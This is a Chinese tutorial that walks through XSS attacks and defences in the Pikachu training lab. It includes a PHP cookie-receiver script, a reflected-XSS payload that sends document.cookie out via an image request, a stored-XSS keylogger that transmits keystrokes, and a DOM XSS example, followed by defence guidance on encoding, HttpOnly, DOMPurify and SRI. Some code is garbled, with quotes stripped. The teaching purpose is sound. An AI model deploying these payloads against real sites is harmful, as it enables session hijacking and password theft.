
1. 项目概述为什么Pikachu是XSS攻防演练的绝佳起点如果你刚接触Web安全或者想找一个能让你把XSS跨站脚本攻击从理论“盘”到实战的靶场那Pikachu靶场绝对是绕不开的一站。它不像一些“硬核”靶场上来就给你一堆模糊的输入框而是把XSS攻击拆解得明明白白从最基础的反射型、存储型到进阶的DOM型甚至结合了像Cookie窃取、键盘记录这些在真实攻击中极具破坏性的场景。这个靶场的设计者很懂教学它模拟了一个存在各种漏洞的Web应用让你能在一个安全、合法的环境里亲手去“攻击”它从而深刻理解攻击者是怎么想的以及防御者又该如何应对。我之所以推荐从Pikachu开始XSS实战是因为它解决了初学者最大的痛点理论与实践的脱节。你看再多关于XSS原理的文章都不如自己亲手构造一个Payload攻击载荷看着它成功执行并弹出一个“alert(‘XSS’)”来得直观。更重要的是Pikachu靶场里的“Cookie窃取”和“键盘记录”模块直接把XSS的危害性给你具象化了。你会立刻明白XSS远不止弹个窗那么简单它可以直接盗取用户的登录凭证Cookie或者悄无声息地记录下用户输入的每一个密码和银行卡号。这种冲击感是任何文字描述都无法替代的。所以这次我们就以“从Cookie窃取到键盘记录”这条线为脉络在Pikachu靶场里走一遍完整的攻防演练。目标很明确第一理解并复现这两种典型的XSS利用方式第二更重要的是搞明白背后的防御逻辑知道怎么在开发中堵上这些漏洞。整个过程我会把我踩过的坑、调试的技巧以及一些容易被忽略的细节都分享出来让你不仅能“通关”更能“通原理”。2. 环境准备与靶场搭建避开第一个坑工欲善其事必先利其器。实战的第一步就是把Pikachu靶场跑起来。听起来简单但这里往往是新手遇到的第一个拦路虎。2.1 获取与部署Pikachu靶场Pikachu是一个用PHP写的开源漏洞靶场你可以在GitHub等代码托管平台上轻松找到它。下载下来通常是一个压缩包解压后放到你的Web服务器根目录下就行比如Apache的htdocs或者Nginx配置的网站根目录。这里有个关键点PHP环境。Pikachu需要PHP环境来运行我强烈建议使用集成环境工具比如PHPStudy、XAMPP或者Docker。对于新手PHPStudy可能是最友好的选择它在Windows下一键安装自带Apache、MySQL和PHP省去了大量配置的麻烦。部署步骤大致如下安装并启动PHPStudy确保Apache和MySQL服务是运行状态。将下载的Pikachu文件夹复制到PHPStudy的WWW目录下。打开浏览器访问http://localhost/pikachu具体路径取决于你的文件夹名。首次访问通常会有一个初始化页面引导你创建数据库。点击初始化链接Pikachu会自动在MySQL中创建所需的数据库和表。注意如果初始化失败最常见的原因是数据库连接配置不对。你需要检查pikachu目录下的inc/config.inc.php文件确保里面的数据库主机通常是localhost、用户名、密码和你的MySQL配置一致。PHPStudy的MySQL默认密码经常是root但最好确认一下。2.2 关键工具浏览器与代理调试工具靶场跑起来后我们还需要两样核心工具一个“干净”的浏览器和一个能让我们看清所有网络请求细节的“眼睛”。浏览器选择为了最好的兼容性和清晰的开发者工具我推荐使用最新版的Chrome或Edge。非常重要的一点在进行XSS测试时尤其是测试Cookie窃取时建议使用浏览器的“无痕模式”或单独创建一个新的测试用户配置文件。这是因为浏览器可能会缓存Cookie、自动填充表单干扰你的测试结果。用一个全新的会话环境能让测试更可控。开发者工具F12这是你最重要的战友。我们主要用到两个面板控制台Console这里会显示JavaScript的错误、你执行的命令以及console.log的输出。当你的XSS Payload没生效时第一个就应该来这里看有没有JS报错。网络Network它会记录页面加载过程中所有的HTTP请求和响应。在测试“存储型XSS”或提交表单时你可以在这里清晰地看到你提交的数据是什么格式、服务器返回了什么这对于调试Payload至关重要。浏览器扩展虽然非必须但有些扩展能极大提升效率。比如可以快速编码/解码URL、Base64的工具扩展。不过我建议初期先尽量手动操作这能加深你对Payload构造过程的理解。环境准备好后打开Pikachu主页你应该能看到一个分类清晰的漏洞列表。找到“XSS”相关模块我们的实战就从这里开始。3. XSS核心原理与Pikachu漏洞类型速览在动手之前我们花几分钟统一一下思想理解XSS到底是怎么回事以及Pikachu给我们准备了哪些“考题”。3.1 XSS的本质当数据被当成了代码XSS的全称是Cross-Site Scripting核心问题出在“数据”和“代码”的边界被模糊了。一个健康的Web应用应该把用户输入始终当作“数据”文本来处理和显示。但如果应用没有做好过滤和转义用户输入的包含JavaScript代码的“数据”被浏览器接收并渲染时浏览器会误以为这是一段合法的“代码”并执行它。举个例子一个搜索框你输入“你好”页面显示“您搜索的关键词是你好”。这没问题。但如果你输入而服务器直接把这个内容原样插到了HTML页面里浏览器解析到时就会把它当作HTML标签进而执行里面的JavaScript代码弹出一个对话框。3.2 Pikachu中的三大XSS类型Pikachu靶场基本涵盖了XSS的三种主要类型理解它们的区别对后续攻击和防御都有关键意义反射型XSSReflected XSS特点Payload“一闪而过”。攻击代码通常附在URL参数中比如?search服务器接收到后未经妥善处理就直接拼接到响应页面里返回给浏览器。攻击者需要诱骗用户点击这个恶意链接。Pikachu场景通常在“反射型XSSGET/POST”模块。你需要构造一个带Payload的URL提交后立即看到效果比如弹窗。它的利用依赖于社交工程骗人点击。存储型XSSStored XSS特点Payload“持久化”。攻击代码被提交到服务器比如留言、昵称并存储到数据库或文件里。之后任何访问特定页面如查看留言的用户其浏览器都会执行这段恶意代码。危害最大因为一次注入影响所有后续访客。Pikachu场景在“存储型XSS”模块。你会在一个表单如留言板里输入Payload提交后刷新页面或重新访问Payload依然会执行。DOM型XSSDOM-based XSS特点Payload的解析和执行完全发生在客户端的浏览器中不经过服务器。漏洞源于前端JavaScript代码不安全地操作了DOM文档对象模型例如使用innerHTML或document.write直接拼接了用户可控的数据如URL片段#后面的内容。Pikachu场景在“DOM型XSS”模块。你修改URL中#后面的部分页面上的JavaScript会读取这个值并动态更新页面内容如果处理不当就可能导致XSS。它的利用也通常需要用户点击一个特制的链接。搞清楚了这些基础我们就可以进入正题看看如何利用这些漏洞实现Cookie窃取和键盘记录。4. 实战一利用反射型XSS窃取用户CookieCookie窃取是XSS攻击中最经典、最直接的危害之一。HTTP协议本身是无状态的Cookie是服务器用来识别用户会话的关键凭证。如果攻击者能拿到你的会话Cookie他就可以在浏览器中导入这个Cookie从而冒充你的身份登录系统无需知道你的密码。4.1 攻击原理与场景模拟假设Pikachu靶场有一个搜索功能存在反射型XSS漏洞。攻击者构造了一个恶意搜索链接其中包含窃取Cookie的JavaScript代码。他通过邮件、社交网站等渠道把这个链接发给受害者。受害者点击后其浏览器会向漏洞网站发起请求服务器返回的页面中包含了恶意代码该代码在受害者浏览器中执行悄悄地将受害者当前域名下的Cookie发送到攻击者控制的服务器上。4.2 构造窃取Cookie的Payload在Pikachu的“反射型XSSGET”漏洞页面你会看到一个输入框。最简单的测试是输入 点击提交页面会弹出一个对话框证明漏洞存在。但这只是测试。真正的攻击Payload需要把Cookie偷走。我们需要一个“接收平台”来收集被盗的Cookie。这里我们可以用一个非常简单的PHP脚本来模拟攻击者的服务器。首先在Pikachu同服务器的其他目录或者甚至在同一靶场内新建一个文件创建一个名为cookie_reciver.php的文件内容如下?php // 接收通过URL参数传递过来的Cookie $cookie $_GET[c]; // 获取一些额外信息如受害者IP $ip $_SERVER[REMOTE_ADDR]; // 将信息记录到本地文件 $file stolen_cookies.txt; $data 时间: . date(Y-m-d H:i:s) . \nIP: . $ip . \nCookie: . $cookie . \n---\n; // 使用FILE_APPEND模式追加写入 file_put_contents($file, $data, FILE_APPEND); // 为了避免受害者浏览器显示异常可以返回一个1x1像素的透明图片 header(Content-Type: image/gif); echo base64_decode(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7); // 这是一个1x1像素的透明GIF ?这个脚本的作用是接收一个名为c的GET参数里面是Cookie连同受害者的IP地址一起追加写入到同目录下的stolen_cookies.txt文件中。接下来构造XSS Payload。我们的目标是让受害者的浏览器访问这个cookie_reciver.php脚本并把Cookie作为参数传过去。JavaScript中可以用document.cookie获取当前页面的Cookie然后用Image对象发起一个请求这种方式非常隐蔽。Payload如下scriptvar img new Image(); img.src http://你的靶场地址/path/to/cookie_reciver.php?c encodeURIComponent(document.cookie);/script为了在URL中传递我们需要对这个Payload进行URL编码。编码后的字符串大致长这样%3Cscript%3Evar%20img%20%3D%20new%20Image%28%29%3B%20img.src%20%3D%20%27http%3A%2F%2Flocalhost%2Fpikachu%2Fcookie_reciver.php%3Fc%3D%27%20%2B%20encodeURIComponent%28document.cookie%29%3B%3C%2Fscript%3E4.3 实施攻击与结果验证部署接收端将cookie_reciver.php文件放在你的Web服务器可访问的路径下并确保该目录有写入权限stolen_cookies.txt文件会自动创建。构造恶意URL在Pikachu反射型XSSGET页面将上述编码后的Payload填入输入框或者直接拼接URLhttp://localhost/pikachu/vul/xss/xss_reflected_get.php?message%3Cscript%3Evar%20img...很长一串submitsubmit。模拟受害者访问复制这个长长的URL在浏览器的无痕窗口中打开。你会发现页面可能看起来没什么变化因为我们返回了一个透明图片或者因为脚本执行有细微卡顿。检查成果去查看stolen_cookies.txt文件。如果一切顺利你应该能看到里面记录了一条信息包含了时间、IP127.0.0.1和最重要的——当前Pikachu靶场的会话Cookie可能叫PHPSESSID。实操心得第一次尝试时我经常遇到接收端收不到Cookie的情况。排查步骤第一打开浏览器的F12“网络Network”面板查看页面加载时是否真的向你的cookie_reciver.php发起了请求如果没有说明Payload没执行检查JS语法或编码。第二如果请求发出了但状态码是404检查文件路径是否正确。第三如果请求是200但文件没写入检查服务器目录的写入权限。第四注意document.cookie只能获取非HttpOnly的Cookie。如果Cookie被设置为HttpOnly这个方法是读不到的这是非常重要的防御措施我们后面会讲。通过这个实验你直观地看到了一个反射型XSS漏洞如何被利用来窃取凭证。接下来我们看一个更隐蔽、危害更大的场景。5. 实战二利用存储型XSS实现键盘记录如果说Cookie窃取是“偷走你的家门钥匙”那么键盘记录就是“在你家墙上装了个隐形摄像头”。它持续监听用户在页面上的所有按键并将记录发送给攻击者密码、聊天内容、搜索记录等隐私一览无余。5.1 攻击原理与持久化威胁存储型XSS是部署键盘记录器的完美载体。因为恶意代码被永久保存在服务器上如数据库每一个后来浏览该页面比如查看恶意用户留下的评论的受害者都会在不知不觉中加载并执行这段键盘记录脚本。攻击是一次性的影响却是持续和广泛的。键盘记录的原理是监听页面的键盘事件。JavaScript提供了onkeypress,onkeydown,onkeyup等事件。我们可以给document对象添加一个事件监听器当任何按键被按下时触发一个函数将按键信息收集起来并定期或实时地发送到攻击者的服务器。5.2 构造键盘记录Payload我们继续使用之前的cookie_reciver.php作为数据接收端稍作修改让它也能接收键盘记录。或者为了区分可以新建一个keylogger_reciver.php逻辑类似。一个基础的键盘记录器Payload结构如下script // 初始化一个变量来存储按键记录 var loggedKeys ; // 定义一个发送数据的函数 function sendData(data) { var img new Image(); img.src http://localhost/pikachu/keylogger_reciver.php?k encodeURIComponent(data); } // 给文档添加按键事件监听器 document.addEventListener(keypress, function(event) { // 记录按下的键event.key 获取的是可打印字符 loggedKeys event.key; // 每记录10个字符就发送一次避免请求过于频繁也可改为定时发送 if (loggedKeys.length 10) { sendData(loggedKeys); loggedKeys ; // 清空缓存 } }); // 页面卸载前关闭或跳转发送剩余记录 window.addEventListener(beforeunload, function() { if (loggedKeys.length 0) { sendData(loggedKeys); } }); /script这个脚本做了几件事监听所有按键事件将字符累加当累加到10个字符时就通过一个隐蔽的图片请求发送到攻击者服务器在页面关闭前发送所有未发送的记录。5.3 注入与测试流程准备接收端创建keylogger_reciver.php写入逻辑与之前的Cookie接收器类似将参数k的值记录到文件。注入Payload进入Pikachu的“存储型XSS”漏洞模块。这里通常是一个留言板或个人信息提交页面。在输入框如“留言内容”中填入上述键盘记录Payload。注意如果输入框有长度限制你可能需要精简Payload或分多次注入如果存在多个可存储的字段。提交并持久化点击提交。此时你的恶意代码已经被保存到服务器的数据库中了。模拟受害者行为非常关键的一步关闭当前浏览器标签页或者打开一个新的无痕窗口。然后直接访问展示留言的页面例如xss_stored.php。不要从提交后的页面直接刷新或跳转因为那样你的浏览器上下文可能还是“攻击者”的。作为一个新的“受害者”访问才能模拟真实攻击场景。触发记录在展示恶意留言的页面用鼠标点击一下页面任意位置让页面获得焦点然后开始打字比如输入“my secret password 123”。检查记录查看keylogger_reciver.php对应的日志文件。你应该能看到按时间顺序记录的按键信息可能像“my secret”、“ password 1”、“23”这样分批发送过来的字符串。注意事项真实的键盘记录器会更复杂。它会尝试记录所有事件包括退格键、Tab键等这些需要用event.keyCode或event.code并可能混淆发送的数据。此外在单页应用SPA中需要确保监听器在页面动态更新后依然有效。这个简单的例子已经足够揭示其原理和危害。测试完成后务必记得清理Pikachu数据库中的恶意留言靶场通常提供重置功能避免影响后续练习。6. 深度防御从开发角度根治XSS漏洞攻是为了更好地防。通过亲手实施攻击我们真切感受到了XSS的威力。现在我们站在开发者的角度看看如何系统性地构建防线让我们的应用对这类攻击免疫。6.1 黄金法则对输出进行编码/转义这是防御XSS最根本、最有效的方法。核心思想是任何不可信的数据在输出到不同上下文时都必须进行相应的编码确保它被始终当作“数据”而非“代码”解析。输出到HTML正文Body使用HTML实体编码。将特殊字符转换为对应的实体。-lt;-gt;-amp;-quot;-#x27;(或apos;)工具PHP可用htmlspecialchars($string, ENT_QUOTES, ‘UTF-8’)。ENT_QUOTES参数很重要它会同时编码单双引号。输出到HTML属性同样使用HTML实体编码。特别注意属性值一定要用引号括起来单引号或双引号永远不要写 。输出到JavaScript代码或事件如onclick这非常危险。绝不能简单地将用户输入拼接进 标签或HTML事件属性里。应该首选避免将动态数据放入JS执行上下文。如果必须使用JSON.stringify()将数据序列化然后作为文本节点或>// 漏洞代码 var input location.hash.substring(1); // 从URL # 后面获取数据 document.getElementById(output).innerHTML input; // 不安全地插入到DOM攻击者可以构造URLhttp://example.com/page.html#img srcx onerroralert(document.cookie)防御对策避免不安全的DOM操作尽量避免使用innerHTML、outerHTML、document.write()。优先使用textContent或setAttribute来操作文本和属性。对DOM API的输入进行净化如果必须使用innerHTML在插入前对不可信数据使用专门的净化库如DOMPurify进行处理。使用安全的API比如使用addEventListener绑定事件而不是在HTML中写onclick”…”。7.3 利用不安全的JavaScript库或插件网站引用的第三方JavaScript库或插件如果存在漏洞也可能成为XSS的入口。例如老版本的jQuery如果使用了.html()方法拼接不可信数据或者某些UI组件的某些功能存在注入点。防御对策保持依赖更新定期更新所有前端库和插件到最新稳定版。实施子资源完整性SRI在引入第三方CDN资源时使用integrity属性。浏览器会验证资源的哈希值是否匹配防止资源被篡改。script srchttps://cdn.example.com/jquery.min.js integritysha384-... /script审计第三方代码对于关键业务考虑对引入的重要第三方库进行安全审计。了解这些绕过技巧不是为了制造攻击而是让你明白防御XSS不能依赖单一、简单的过滤规则而需要一套组合拳从开发框架、编码习惯到部署配置形成完整的防御体系。8. 实战排查与防御验证理论说再多不如动手验证。在Pikachu靶场中我们也可以尝试应用一些防御措施看看攻击是否还能成功。8.1 为Pikachu添加基础防御模拟由于Pikachu是故意存在漏洞的靶场我们无法直接修改其核心代码来修复漏洞那样就失去练习意义了。但我们可以通过一些外围手段来模拟防御效果加深理解。模拟HttpOnly Cookie打开Pikachu的登录功能登录一个用户。打开浏览器开发者工具在“应用程序Application”或“存储Storage”标签页中查看Cookie。你会发现PHPSESSID可能没有HttpOnly标志。我们可以通过一个简单的实验来理解HttpOnly的作用在控制台输入document.cookie看看能否读到这个会话Cookie。如果能说明它是不安全的。思考如果这是一个真实应用开发者应该在服务端设置会话Cookie时加上httponly标志。你可以尝试修改本地PHP的php.ini中session.cookie_httponly的值为1重启服务后观察Cookie的变化和document.cookie的输出。模拟输出编码找到Pikachu中反射型XSS的漏洞文件例如xss_reflected_get.php。查看其源代码通常就在vul/xss/目录下。你会发现它大概是这样的?php $message $_GET[‘message’] ?? ‘’; echo “你输入的内容是” . $message; // 危险直接回显 ?手动修复你可以尝试将这行改为echo “你输入的内容是” . htmlspecialchars($message, ENT_QUOTES, ‘UTF-8’);保存文件然后再次尝试之前的XSS Payload。你会发现script标签被原样显示为文本而不会被执行。这就是输出编码的力量。8.2 使用工具进行漏洞扫描与验证除了手动测试了解一些自动化工具也是必要的它们可以帮助开发者在早期发现潜在问题。浏览器扩展 - XSS检测助手有些安全浏览器扩展可以辅助检测简单的XSS例如在页面中查找可能的注入点并提示。但不要过度依赖。DAST工具动态应用安全测试工具如OWASP ZAP、Burp Suite的主动扫描功能。它们可以自动爬取你的网站并向所有输入点注入测试Payload然后分析响应寻找漏洞迹象。使用方法以ZAP为例将浏览器代理设置为ZAP然后在Pikachu网站上进行正常浏览点击所有链接提交所有表单。ZAP会记录所有请求。之后启动主动扫描ZAP会自动进行测试并生成报告。注意在测试自己开发的应用时务必在测试环境进行并确保有备份因为自动扫描可能会产生大量测试数据。实操心得自动化工具能发现很多常见漏洞但它们不是万能的。尤其是对于逻辑复杂的DOM型XSS、需要特定上下文或交互才能触发的存储型XSS工具可能漏报。因此手动安全测试和代码审计仍然是不可替代的。最好的安全是“安全左移”在代码编写阶段就遵循安全规范而不是依赖后期的扫描和修补。通过这一整套从攻击到防御的演练你应该对XSS漏洞的成因、利用方式、巨大危害以及系统的防御方法有了非常立体和深刻的认识。安全是一个持续的过程保持警惕持续学习将安全思维融入开发的每一个环节是每一位开发者应有的责任。